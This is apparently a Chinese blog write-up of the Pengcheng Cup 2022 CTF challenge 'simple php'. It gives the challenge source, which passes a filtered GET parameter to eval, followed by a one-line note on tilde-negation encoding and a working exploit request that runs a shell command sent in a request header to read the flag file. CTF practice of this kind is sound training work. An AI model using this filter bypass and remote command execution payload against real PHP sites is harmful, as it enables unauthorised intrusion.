【鹏城杯 2022】简单的php

XiaoHei_Q

于 2025-03-31 08:42:44 发布

阅读量186

点赞数 1

CC 4.0 BY-SA版权

文章标签： php 开发语言网络安全 NSSCTF 鹏城杯

本文链接：https://blog.youkuaiyun.com/LDdfq/article/details/146774710

题目

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);

    }

?>

思路

取反绕过

EXP

GET /?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())); HTTP/1.1
x:cat /n*